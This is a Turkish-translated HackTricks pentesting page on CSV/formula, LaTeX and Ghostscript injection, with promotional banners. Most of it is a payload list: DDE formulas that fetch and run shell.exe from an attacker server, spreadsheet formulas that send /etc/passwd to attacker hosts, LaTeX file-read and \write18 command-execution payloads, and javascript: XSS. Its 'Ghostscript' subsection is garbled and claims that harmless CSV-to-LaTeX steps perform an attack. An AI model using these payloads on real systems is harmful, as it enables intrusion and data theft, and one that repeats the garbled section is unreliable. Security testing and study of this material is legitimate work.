hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

254 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Formül/CSV/Belge/LaTeX/GhostScript Enjeksiyonu
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Formül Enjeksiyonu
### Bilgi
Eğer **girdiniz** **CSV dosyaları** içinde **yansıtılıyorsa** (veya muhtemelen **Excel** tarafından açılacak başka bir dosya), Excel **formülleri** ekleyebilirsiniz ki bu formüller dosya **açıldığında** veya kullanıcı **Excel tablosu içindeki bir bağlantıya tıkladığında** **çalıştırılabilir** olabilir.
{% hint style="danger" %}
Günümüzde **Excel**, kullanıcının **kötü niyetli eylemlerden kaçınması** için, **Excel dışından bir şey yüklendiğinde kullanıcıya birkaç kez uyarı verecektir**. Bu nedenle, son yükte **Sosyal Mühendislik** üzerinde özel çaba gösterilmelidir.
{% endhint %}
### [Kelime Listesi](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
**Aşağıdaki örnek, nihai excel tablosundan içerik sızdırmak ve keyfi konumlara istekler yapmak için çok kullanışlıdır. Ancak, kullanıcının bağlantıya tıklaması ve uyarıları kabul etmesi gerekmektedir.**
Aşağıdaki örnek [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) adresinden alınmıştır.
Öğrenci Kayıt Yönetim sisteminde bir güvenlik açığı, bir CSV enjeksiyon saldırısı aracılığıyla sömürülmüştür. Saldırganın temel amacı, öğretmenlerin öğrenci detaylarını yönetmek için kullandığı sistemi tehlikeye atmak. Yöntem, saldırganın kötü amaçlı bir yükü uygulamaya enjekte etmesini içerir, özellikle öğrenci detayları için ayrılmış alanlara zararlı formüller girmek suretiyle. Saldırı şu şekilde gerçekleşir:
1. **Kötü Amaçlı Yükün Enjeksiyonu:**
* Saldırgan bir öğrenci detay formu gönderir ancak elektronik tablolarda yaygın olarak kullanılan bir formülü içerir (örneğin, `=HYPERLINK("<zararlı_link>","Buraya tıklayın")`).
* Bu formül, bir bağlantı oluşturmak için tasarlanmıştır, ancak saldırgan tarafından kontrol edilen zararlı bir sunucuya işaret eder.
2. **Tehdit Edilen Verilerin Dışa Aktarılması:**
* Kompromis farkında olmayan öğretmenler, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır.
*ıldığında CSV dosyası hala kötü amaçlı yükü içerir. Bu yük, elektronik tabloda tıklanabilir bir bağlantı olarak görünür.
3. **Saldırının Tetiklenmesi:**
* Bir öğretmen, bağlantıya öğrenci detaylarının meşru bir parçası olduğuna inanarak tıklar.
* Tıkladığında, hassas veriler (potansiyel olarak elektronik tablodan veya öğretmenin bilgisayarından detaylar içerebilir) saldırganın sunucusuna iletilir.
4. **Verilerin Kaydedilmesi:**
* Saldırganın sunucusu, öğretmenin bilgisayarından gönderilen hassas verileri alır ve kaydeder.
* Saldırgan daha sonra bu verileri çeşitli kötü amaçlı amaçlar için kullanabilir, öğrencilerin ve kurumun gizliliğini ve güvenliğini daha da tehlikeye atarak.
### RCE
**Daha fazla ayrıntı için** [**orijinal yazıya**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **bakın.**
Belirli yapılandırmalarda veya eski Excel sürümlerinde, Dinamik Veri Değişimi (DDE) adı verilen bir özellik, keyfi komutları yürütmek için sömürülebilir. Bunun için aşağıdaki ayarların etkinleştirilmiş olması gerekir:
* Dosya → Seçenekler → Güven Merkezi → Güven Merkezi Ayarları → Dış İçerik'e gidin ve **Dinamik Veri Değişimi Sunucusu Başlat**'ı etkinleştirin.
Kötü amaçlı yükü içeren bir elektronik tablo açıldığında (ve kullanıcı uyarıları kabul ederse), yük yürütülür. Örneğin, hesap makinesi uygulamasını başlatmak için yük şu şekilde olacaktır:
```markdown
=cmd|' /C calc'!xxx
```
Ek komutlar da yürütülebilir, örneğin PowerShell kullanarak bir dosyanın indirilip yürütülmesi:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### LibreOffice Calc'ta Yerel Dosya Dahil Etme (LFI)
LibreOffice Calc, yerel dosyaları okumak ve veri dışa aktarmak için kullanılabilir. İşte bazı yöntemler:
- Yerel `/etc/passwd` dosyasından ilk satırı okuma: `='file:///etc/passwd'#$passwd.A1`
- Okunan verileri saldırganın kontrolündeki sunucuya dışa aktarma: `=WEBSERVICE(CONCATENATE("http://<saldırgan IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- Birden fazla satırı dışa aktarma: `=WEBSERVICE(CONCATENATE("http://<saldırgan IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- DNS dışa aktarma (okunan verileri saldırganın kontrolündeki DNS sunucusuna DNS sorguları olarak gönderme): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<saldırgan alan adı>"))`
### Out-of-Band (OOB) Veri Dışa Aktarma için Google Sheets
Google Sheets, OOB veri dışa aktarma için sömürülebilecek fonksiyonlar sunar:
- **CONCATENATE**: Dizeleri birleştirir - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: Yapılandırılmış veri türlerinden veri alır - `=IMPORTXML(CONCAT("http://<saldırgan IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: RSS veya ATOM beslemelerini içe aktarır - `=IMPORTFEED(CONCAT("http://<saldırgan IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: HTML tablolarından veya listelerinden veri alır - `=IMPORTHTML (CONCAT("http://<saldırgan IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: Başka bir elektronik tablodan hücre aralığını içe aktarır - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMAGE**: Bir hücreye bir resim ekler - `=IMAGE("https://<saldırgan IP:Port>/images/srpr/logo3w.png")`
## LaTeX Enjeksiyonu
Genellikle **LaTeX kodunu PDF'ye dönüştüren internet sunucuları** genellikle **`pdflatex`** kullanır.\
Bu program, komut yürütmesini (devre dışı bırakma) / izin verme için 3 ana özelliği kullanır:
- **`--no-shell-escape`**: `\write18{komut}` yapısını devre dışı bırakır, texmf.cnf dosyasında etkinleştirilmiş olsa bile.
- **`--shell-restricted`**: `--shell-escape` ile aynıdır, ancak `/usr/share/texmf/web2c/texmf.cnf` dosyasında belirli bir 'güvenli' set komutlarla sınırlıdır (Ubuntu 16.04'te liste burada bulunur).
- **`--shell-escape`**: `\write18{komut}` yapısını etkinleştirir. Komut herhangi bir kabuk komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaklanmıştır.
Ancak, komutları yürütmek için başka yollar da vardır, bu nedenle Uzak Kod Yürütme'yi önlemek için `--shell-restricted` kullanmak çok önemlidir.
### Dosya Okuma <a href="#read-file" id="read-file"></a>
Enjeksiyonu ayarlamak için sargılar olarak \[ veya $'ı kullanmanız gerekebilir.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Tek satırlı dosyayı okuyun
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Birden fazla satırlı dosya okuma
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Dosya yaz<a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Komut yürütme <a href="#command-execution" id="command-execution"></a>
Komutun girdisi stdin'e yönlendirilecek, bunu almak için geçici bir dosya kullanın.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
```markdown
### Ghostscript Enjeksiyonu
Ghostscript, PostScript ve PDF dosyalarını işlemek için kullanılan bir yazılımdır. Ghostscript enjeksiyonu, kötü niyetli PostScript veya PDF dosyaları aracılığıyla sunucuda komut çalıştırmayı amaçlar.
#### CSV Dosyası Oluşturma
Öncelikle, aşağıdaki gibi bir CSV dosyası oluşturun:
```csv
name,age,city
John,30,New York
Alice,25,Los Angeles
```
#### LaTeX Enjeksiyonu
CSV dosyasını LaTeX belgesine dönüştürmek için aşağıdaki komutu kullanabilirsiniz:
```latex
\documentclass{article}
\usepackage{csvsimple}
\begin{document}
\csvautotabular{data.csv}
\end{document}
```
#### Ghostscript Enjeksiyonu
Son olarak, oluşturduğunuz LaTeX belgesini derlemek için aşağıdaki komutu kullanın:
```bash
pdflatex document.tex
```
Bu adımları takip ederek, Ghostscript enjeksiyonu saldırısını gerçekleştirebilirsiniz.
```
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)'den
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Enjeksiyonu
**Kontrol Edin** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Referanslar
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>